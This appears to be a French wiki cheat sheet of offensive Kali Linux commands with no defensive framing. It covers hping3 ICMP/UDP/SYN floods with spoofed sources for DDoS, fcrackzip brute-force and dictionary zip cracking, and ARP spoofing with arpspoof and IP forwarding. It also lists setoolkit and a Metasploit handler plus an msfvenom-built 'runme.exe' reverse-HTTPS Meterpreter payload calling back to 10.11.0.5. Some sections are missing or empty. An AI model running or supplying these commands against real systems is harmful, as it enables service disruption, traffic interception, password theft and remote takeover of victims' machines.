KaliLinux - Commandes utiles

I. DDoS attack

Flood ICMP paquets avec ip aléatoire :

```
hping3 -1 --flood --rand-source <hostip>
```

Flood UDP paquets avec ip aléatoire :

```
hping3 -2 --flood --rand-source <hostip>
```

Flood TCP Syn paquets avec ip aléatoire :

```
hping3 -S --flood --rand-source <hostip>
```

III. Password Attack

Cracker un zip (brute force):

```
#Command
fcrackzip -u -b </path/to/zip>

#Exemple
fcrackzip -u -b /home/kali/Documents/monzip.zip
```

Craquer un zip (dictionnaire):

```
#Command
fcrackzip -u -D -p </path/to/dictionary> </path/to/zip>

#Exemple
fcrackzip -u -D -p /home/kali/testdict.txt /home/kali/Documents/monzip.zip
```

V. Man in the Middle

Récupérer les infos de tables arp :

```
arp -a
```

activer l'ip forwarding :

```
sysctl -w net.ipv4.ip_forward=1
```

lancer le spoofing :

```
arpspoof -i <interfaceName> -t <ip victime> <ip routeur>
```

Utiliser une page web middle :

```
setoolkit
```

exploit windows meterpreter server :

```
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.11.0.5
set LPORT 8443
run
```

Generate client :

```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=8443 -f exe -o
runme.exe
```

VI. Scan web

Revision #1
Created 2026-07-17 22:37:17 UTC by Olivier
Updated 2026-07-17 22:40:18 UTC by Olivier